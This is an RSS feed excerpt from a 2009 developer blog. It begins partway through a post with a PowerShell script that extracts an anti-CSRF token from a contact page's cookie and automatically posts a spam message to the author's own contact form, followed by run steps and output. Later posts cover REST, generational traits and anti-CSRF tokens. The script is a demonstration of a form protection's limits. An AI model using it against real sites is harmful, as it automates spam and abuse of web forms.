<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $match = <span style="color: #66cc66;">&#91;</span>regex<span style="color: #66cc66;">&#93;</span>::matches<span style="color: #66cc66;">&#40;</span>$webClient.<span style="color: #006600;">ResponseHeaders</span><span style="color: #66cc66;">&#91;</span><span style="color: #3366CC;">"Set-Cookie"</span><span style="color: #66cc66;">&#93;</span>, $regex<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#91;</span><span style="color: #CC0000;color:#800000;">0</span><span style="color: #66cc66;">&#93;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $antiCrsfToken = $match.<span style="color: #006600;">Groups</span><span style="color: #66cc66;">&#91;</span><span style="color: #3366CC;">"CRSF_Token"</span><span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">Captures</span><span style="color: #66cc66;">&#91;</span><span style="color: #CC0000;color:#800000;">0</span><span style="color: #66cc66;">&#93;</span>.<span style="color: #006600;">Value</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000066;">write-host</span> <span style="color: #3366CC;">"<span style="color: #000099; font-weight: bold;">`n</span>Your Anti CRSF Token is: "</span> $antiCrsfToken</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># construct the message including the Anti CSRF Token</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $message = <span style="color: #3366CC;">"__RequestVerificationToken="</span> + <span style="color: #66cc66;">&#91;</span>System.<span style="color: #006600;">Web</span>.<span style="color: #006600;">HttpUtility</span><span style="color: #66cc66;">&#93;</span>::UrlEncode<span style="color: #66cc66;">&#40;</span>$antiCrsfToken<span style="color: #66cc66;">&#41;</span> +</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #3366CC;">"&amp;amp;fromName=Johnathon Fink"</span> +</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #3366CC;">"&amp;amp;fromAddress=prancesw@rmcres.com"</span> +</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #3366CC;">"&amp;amp;subject=Call for your diploma now"</span> +</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #3366CC;">"&amp;amp;body=Is your lack of a degree..."</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #004400; font-style: italic;"># send spam-spam-spam</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; $webClient.<span style="color: #006600;">Headers</span>.<span style="color: #006600;">Add</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"Content-Type"</span>, <span style="color: #3366CC;">"application/x-www-form-urlencoded"</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #66cc66;">&#91;</span>void<span style="color: #66cc66;">&#93;</span> $webClient.<span style="color: #006600;">UploadData</span><span style="color: #66cc66;">&#40;</span><span style="color: #3366CC;">"http://adam.kahtava.com/contact/send"</span>, <span style="color: #3366CC;">"POST"</span>,</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#91;</span>System.<span style="color: #006600;">Text</span>.<span style="color: #006600;">Encoding</span><span style="color: #66cc66;">&#93;</span>::UTF8.<span style="color: #006600;">GetBytes</span><span style="color: #66cc66;">&#40;</span>$message<span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span><span style="color: #66cc66;">&#41;</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; <span style="color: #000066;">write-host</span> <span style="color: #3366CC;">"<span style="color: #000099; font-weight: bold;">`n</span>Success!!! Your spam has been sent.<span style="color: #000099; font-weight: bold;">`n</span>"</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color: #66cc66;">&#125;</span> </div>
</li>
</ol>
</div>
</div>
</div>
<p>
To run this script:</p>
<ol>
<li>Download the <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Automated-AntiCSRF-Authentication-Script.ps1">script</a></li>
<li>Run PowerShell</li>
<li>Load the script: <code><a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Automated-AntiCSRF-Authentication-Script.ps1">.\Automated-AntiCSRF-Authentication-Script.ps1</a></code></li>
<li>Start sending spam-spam-spam: <code>PS &gt; spam-adamdotcom</code></li>
</ol>
<p>Here's the output as seen on my machine:</p>
<div class="igBar"><span id="lcode-34"><a href="#" onclick="javascript:showPlainTxt('code-34'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">CODE:</span>
<div id="code-34">
<div class="code">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; .\Automated-AntiCSRF-Authentication-Script.<span style="">ps1</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">PS C:\&gt; spam-adamdotcom</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Your Anti CRSF Token is:&nbsp; f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">Success!!! Your spam has been sent. </div>
</li>
</ol>
</div>
</div>
</div>
<p></p>
<p>This example uses a derivation of the .NET Framework's <a href="http://msdn.microsoft.com/en-us/library/system.net.webclient.aspx">Web Client</a> class but with Cookies enabled, so it depends on the <a href="http://adamdotcom-services.googlecode.com/svn/trunk/AdamDotCom.Common.Service/Final-Assemblies/AdamDotCom.Common.Service.dll">AdamDotCom.Common.Service.dll</a> assembly (browse the source <a href="http://code.google.com/p/adamdotcom-services/source/browse/trunk#trunk/AdamDotCom.Common.Service/Source/Common/Utilities">here</a>). This dependency can be automatically resolved by issuing the <code>download-client</code> function that's also found within the PowerShell script.</p>
<p>Contribute, view, or download the openly available script here: <a href="http://code.google.com/p/adamdotcom-script/source/browse/trunk/Scripts/PowerShell/Automated-AntiCSRF-Authentication-Script.ps1">Automated-AntiCSRF-Authentication-Script.ps1</a></p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ulrRlMAOjt4:u4O_VeEUGY0:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ulrRlMAOjt4:u4O_VeEUGY0:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ulrRlMAOjt4:u4O_VeEUGY0:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ulrRlMAOjt4:u4O_VeEUGY0:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/ulrRlMAOjt4" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/16/hacking-an-anti-cross-site-request-forgery-tokens-csrf-with-powershell/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/16/hacking-an-anti-cross-site-request-forgery-tokens-csrf-with-powershell/</feedburner:origLink></item>
		<item>
		<title>RESTful Web Services: What Are They?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/ysYpsKR2-fY/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/04/restful-web-services-what-are-they/#comments</comments>
		<pubDate>Fri, 04 Dec 2009 16:00:35 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[RESTful]]></category>
		<category><![CDATA[Services]]></category>
		<category><![CDATA[WCF]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2004</guid>
		<description><![CDATA[RESTful web services are all the rage these days, and for good reason. Many web based MVC frameworks depend on REST. Here's a crash course on what RESTful web services are and aren't. REST stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://en.wikipedia.org/wiki/Representational_State_Transfer#RESTful_web_services">RESTful web services</a> are all the rage these days, and for good reason. Many <a href="http://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller#Implementations_of_MVC_as_web-based_frameworks">web based MVC frameworks</a> depend on REST. <strong>Here's a crash course on what RESTful web services are and aren't.</strong></p>
<p><a href="http://en.wikipedia.org/wiki/Representational_State_Transfer">REST</a> stands for Representational state transfer. REST is not an architecture, instead it's a set of design criteria. RESTfulness and RESTful web service try to make use of the full gambit of <a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html">HTTP Methods</a> (GET, PUT, POST, DELETE, OPTIONS, and HEAD), and try to expose every resource or operation in a meaningful <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Identifier">URI</a> / URL. RESTful web services are intuitive, and work similar to the way the human web works (meaningful semantic data is returned to the client, resources link to other resources, <a href="http://en.wikipedia.org/wiki/Microformat">microformats</a> are employed, and so on).</p>
<p><strong>Qualities associated with RESTfulness:</strong></p>
<ul>
<li>RESTful is the the way the human web works - where the data returned by services can be easily understood by humans (or robots) and usually contain links to other resources</li>
<li>RESTful web services use varying response formats. Common formats include: XHTML pages, XHTML microformats, JSON, XML, ad-hoc HTML, JavaScript, or build your own</li>
<li>RESTful web services depend on meaningful URIs. These URIs can contain scoping information, but shouldn't contain query requests. <em>For example: when searching for 'kumquat' on Google you're redirected to <span style="text-decoration: underline;">http://www.google.com/search?q=kumquat</span> where your search query is present in the URI. Whereas a URI like <span style="font-style: normal;"><span style="text-decoration: underline;">http://www.google.com/search/kumquat/</span></span> specifies the search parameters within the URI - this is not recommended as it implies some predictability, search results are unpredictable</em></li>
<li>RESTful web services also use query variables as inputs to algorithms</li>
<li>RESTful web services expose a URI for every piece of data the client may want to operate on</li>
<li>RESTful web services make use of HTTP methods (GET, PUT, POST, DELETE, OPTIONS, and HEAD)</li>
<li>RESTful web services don't keep the state on the server (that's the client's job), they don't like cookies, and don't like sessions</li>
<li>RESTful web services make use of <a href="http://en.wikipedia.org/wiki/List_of_HTTP_headers">HTTP Headers</a></li>
</ul>
<p><strong>Examples of RESTful web services:</strong></p>
<ul>
<li> <a href="http://en.wikipedia.org/wiki/Amazon_S3">Amazon S3</a></li>
<li> <a href="http://developer.yahoo.com/everything.html">Most of Yahoo!'s web services</a></li>
<li> The Atom protocol</li>
</ul>
<p><strong>Qualities that are <span style="text-decoration: underline;">not</span> RESTful:</strong></p>
<ul>
<li>Most SOAP or other RPC-Style Architectures where XML messages are placed in the <a href="http://en.wikipedia.org/wiki/HTTP_body_data">HTTP Body</a></li>
<li>Frameworks that depend heavily on overloaded POSTs and XML (See <a class="site-tit1" rel="nofollow" href="http://www.devarticles.com/c/a/Web-Services/Safety-Idempotence-and-the-ResourceOriented-Architecture/">Safety, Idempotence, and the Resource-Oriented Architecture</a> for more information)</li>
<li>Most big corporate web service frameworks are not RESTful. Some frameworks like WCF try to provide REST like functionality on top of a SOAP based API, but these add-ons can be obtuse and unRESTful.</li>
</ul>
<p><strong>Examples of unRESTful web services:</strong></p>
<ul>
<li><a href="http://www.flickr.com/services/api/request.xmlrpc.html">The XML-RPC Flickr API</a></li>
<li><a href="http://www.flickr.com/services/api/request.soap.html">The SOAP Flickr API</a></li>
<li><a href="http://www.flickr.com/services/api/request.rest.html">The REST Flickr API</a> - although the name implis REST, this API is designed more like an XML-RPC</li>
<li><a href="http://delicious.com/help/api">The delicious API</a></li>
</ul>
<p>The growing popularity of web based MVC frameworks is providing a welcomed push towards RESTfulness and the simplicity that it brings, because working with the grain of the web (REST) makes life simpler and more semantically meaningful too. If you want to learn more about RESTful web services then check out <a href="http://www.amazon.com/dp/0596529260/">Restful Web Services</a> by Leonard Richardson and Sam Ruby.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ysYpsKR2-fY:yotv4PP91Yc:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ysYpsKR2-fY:yotv4PP91Yc:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=ysYpsKR2-fY:yotv4PP91Yc:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=ysYpsKR2-fY:yotv4PP91Yc:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/ysYpsKR2-fY" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/04/restful-web-services-what-are-they/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/04/restful-web-services-what-are-they/</feedburner:origLink></item>
		<item>
		<title>Ramblings From Another Generation X / Y / Millennial</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/fjmzmH74R7U/</link>
		<comments>http://adam.kahtava.com/journal/2009/12/01/ramblings-from-another-generation-x-y-millennial/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 16:00:55 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2032</guid>
		<description><![CDATA[Like a straight 'A' student you'll find me upfront and center, pencil in hand, when someone describes the traits of my demographic group. I fall somewhere in the Generation X / Y / Millennial demographic group (the boundary varies widely depending on what source you cite). I mean let's face it, who doesn't like to read about how our droogs are perceived? Wait [...]]]></description>
			<content:encoded><![CDATA[<div style="padding: 0px 0px 10px 5px; float: right;"><a href="http://www.flickr.com/photos/mahalie/145332373/"><img src="http://farm1.static.flickr.com/55/145332373_0056b12dda_m.jpg" alt="" /></a></div>
<p>Like a straight 'A' student you'll find me upfront and center, pencil in hand, when someone describes the traits of my demographic group. I fall somewhere in the <a href="http://en.wikipedia.org/wiki/Generation_X">Generation X</a> / <a href="http://en.wikipedia.org/wiki/Generation_Y">Y</a> / Millennial demographic group (the boundary varies widely depending on what source you cite). <em>I mean let's face it, who doesn't like to read about how our droogs are perceived? Wait a ... this could be another manifestation of Generation X / Y / Millennial </em><a href="http://www.boston.com/news/globe/magazine/articles/2007/09/30/the_new_me_generation/?page=1"><em>narcissism</em></a><em> others have been writing about. Crap!</em></p>
<p>When hearing about the traits of our demographic group, I question how unique the traits associated with our group are. It seems that these traits could be common knowledge to <em>smart people</em> everywhere (regardless of demographic segmentation), but then again, this could be my squeaky Generation X / Y / Millennial voice discounting the other demographics (yet again).</p>
<p>I thought Andy Hunt had an accurate description for our demographic:</p>
<blockquote><p>[Generation Xers are] free agents, with an inherent distrust of institutions ... Fiercely individualistic, and perhaps a bit on the dark side, they'll just quit and move on if there's a problem at work. They resist being labeled at all costs ... They are quite pragmatic, working for a positive outcome regardless of any particular ideology or approach. - <a href="http://www.amazon.com/Pragmatic-Thinking-Learning-Refactor-Programmers/dp/1934356050">Pragmatic Thinking and Learning: Refactor Your Wetware</a></p></blockquote>
<p>I'd agree, an <em>inherent distrust of institutions</em> is a common trait in our demographic. It could be that we're immature and this tendency could wane as we grow older, or it could be a permanent scar stemming from our observations - many of us watched our elders (some with perceived jobs-for-life) jaded and unemployed in the 80's, then living through the uncertainly that prevailed in the following years.</p>
<p>Others have mentioned that we:</p>
<blockquote><p>would prefer to work for companies that give them opportunities to contribute their talents to nonprofit organizations. - <a href="http://www.entrepreneur.com/humanresources/compensationandbenefits/article188360.html">Volunteering as a Benefit</a></p></blockquote>
<p>But then again, who wouldn't like to work for company that encouraged contributions to nonprofits and pet projects?</p>
<p>Yet others have noted that we:</p>
<blockquote><p>demand to be communicated to in a direct, honest and transparent way ... are "'immediate driven" and quite keen to live their lives right now, rather than adhering to the old Protestant work ethic that suggests you can only reap the rewards of life after you have worked hard and basically sold your soul to your employer. - <a href="http://www.management-issues.com/2009/1/27/opinion/how-to-turn-on-generation-y.asp">How to turn on Generation Y</a></p></blockquote>
<p>Yup, that sounds fair. We expect transparency in the age of information. Continuing with that thought, it's also been said that:</p>
<blockquote><p>[we] view time as a currency ... not to be wasted ... They want to get the job done, then put it behind them and enjoy life. - <a href="http://www.management-issues.com/2007/5/31/opinion/retaining-youth.asp">Retaining youth</a></p></blockquote>
<p>Again, seems a bit obvious. We're not lazy, but we've seen our elders do a lot of weird stuff as they go through their midlife crisis - maybe if they didn't put off living in the name of work they would have maintained more sanity.</p>
<p>It's also been said that we:</p>
<blockquote><p>prefer to dress as casual as possible and work with mobile gadgets or laptops in comfortable, creative spaces. - <a href="http://plone.acm.org/membership/careernews/archives/v3_i6">CareerNews: Tuesday, May 22, 2007</a></p></blockquote>
<p>What demographic group doesn't like to be comfortable while working? Our attire should be an extension of workplace ergonomics - we're told to lift heavy object with your legs (not your back), and use ergonomically correct equipment. Wearing comfortable clothes and using gadgets should be a natural extension. :)</p>
<p>In general, I think our generation strives to work smarter (not necessarily longer hours), we try to atain a healthy work-life balance, and a number of us value experiences over owning stuff. I think <em>smart people</em> from other demographics have been doing the same things for years, but what do I know, I'm just another Generation X / Y / Millennial.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=fjmzmH74R7U:kN7aZE6ZVrI:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=fjmzmH74R7U:kN7aZE6ZVrI:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=fjmzmH74R7U:kN7aZE6ZVrI:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=fjmzmH74R7U:kN7aZE6ZVrI:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/fjmzmH74R7U" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/12/01/ramblings-from-another-generation-x-y-millennial/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/12/01/ramblings-from-another-generation-x-y-millennial/</feedburner:origLink></item>
		<item>
		<title>Chatting With a Flash Developer Turned Web Developer</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/n4jPnbH9CXo/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/30/chatting-with-a-flash-developer-turned-web-developer/#comments</comments>
		<pubDate>Mon, 30 Nov 2009 16:00:11 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[Musings]]></category>
		<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2112</guid>
		<description><![CDATA[I was chatting with a Flash Developer turned Web Developer. When asked why he made the transition, he predicted that HTML 5 and the evolution of the web thereafter would lessen the demand for Flash Developers (possibly making them obsolete) and that moving towards a Web Developer / Generalist is an investment for the future. [...]]]></description>
			<content:encoded><![CDATA[<p>I was chatting with a Flash Developer turned Web Developer. When asked why he made the transition, he predicted that <a href="http://en.wikipedia.org/wiki/HTML5">HTML 5</a> and the evolution of the web thereafter would lessen the demand for Flash Developers (possibly making them obsolete) and that moving towards a Web Developer / Generalist is an investment for the future. I thought that was an interesting perspective. It's not far fetched to predict that the open web will replace proprietary browser plug-ins - in many cases digital content has already replaced print.</p>
<div class="feedflare">
<a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:yIl2AUoC8zA"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=yIl2AUoC8zA" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:D7DqB2pKExk"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=n4jPnbH9CXo:tPpMA_90h9M:D7DqB2pKExk" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:F7zBnMyn0Lo"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=n4jPnbH9CXo:tPpMA_90h9M:F7zBnMyn0Lo" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:V_sGLiPBpWU"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?i=n4jPnbH9CXo:tPpMA_90h9M:V_sGLiPBpWU" border="0"></img></a> <a href="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?a=n4jPnbH9CXo:tPpMA_90h9M:qj6IDK7rITs"><img src="http://feeds.feedburner.com/~ff/Adam-Kahtava/AdamDotCom?d=qj6IDK7rITs" border="0"></img></a>
</div><img src="http://feeds.feedburner.com/~r/Adam-Kahtava/AdamDotCom/~4/n4jPnbH9CXo" height="1" width="1"/>]]></content:encoded>
			<wfw:commentRss>http://adam.kahtava.com/journal/2009/11/30/chatting-with-a-flash-developer-turned-web-developer/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<feedburner:origLink>http://adam.kahtava.com/journal/2009/11/30/chatting-with-a-flash-developer-turned-web-developer/</feedburner:origLink></item>
		<item>
		<title>What Are Anti Cross-site Request Forgery Tokens And What Are They Good For?</title>
		<link>http://feedproxy.google.com/~r/Adam-Kahtava/AdamDotCom/~3/SO-pUQMQZPg/</link>
		<comments>http://adam.kahtava.com/journal/2009/11/25/what-are-anti-cross-site-request-forgery-tokens-and-what-are-they-good-for/#comments</comments>
		<pubDate>Wed, 25 Nov 2009 17:00:05 +0000</pubDate>
		<dc:creator>Adam Kahtava</dc:creator>
				<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://adam.kahtava.com/journal/?p=2030</guid>
		<description><![CDATA[Anti Cross-site Request Forgery Tokens help prevent Cross-site Request Forgery (CSRF) also known as XSRF - pronounced "sea-surf" - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the [...]]]></description>
			<content:encoded><![CDATA[<p>Anti Cross-site Request Forgery Tokens help prevent <a href="http://en.wikipedia.org/wiki/Cross-site_request_forgery">Cross-site Request Forgery (CSRF)</a> also known as XSRF - pronounced <em>"sea-surf"</em> - and are usually implemented through a hidden HTML form element that contains a unique ID. This ID is passed along with subsequent requests for data and validated on the server. Anti CSRF Tokens try to ensure the identity of the user. They aren't a replacement for <a href="http://en.wikipedia.org/wiki/CAPTCHA">CAPTCHA</a>s and don't prevent robots or <a href="http://en.wikipedia.org/wiki/Web_scraping">web scrapers</a> from manipulating your site - as you'll soon see.</p>
<p><strong>Why use an Anti CRSF Token?</strong></p>
<p>An overly simple example: If I didn't use an Anti Forgery Token on <a href="http://adam.kahtava.com/contact/">my contact page</a> (see the source code: <a href="http://code.google.com/p/adamdotcom-website/source/browse/trunk/Source/Website/App/Views/Contact/Index.aspx">View</a> or <a href="http://code.google.com/p/adamdotcom-website/source/browse/trunk/Source/Website/App/Controllers/ContactController.cs">Controller</a>), a Spammer could POST data directly against my contact form and potentially drown me with spam.</p>
<p>Here's a hypothetical form created by an evil Spammer. This form is hosted on http://spammer.com (not my site):</p>
<pre>&lt;form action="<strong>http://adam.kahtava.com/contact/send</strong>" method="POST"&gt;
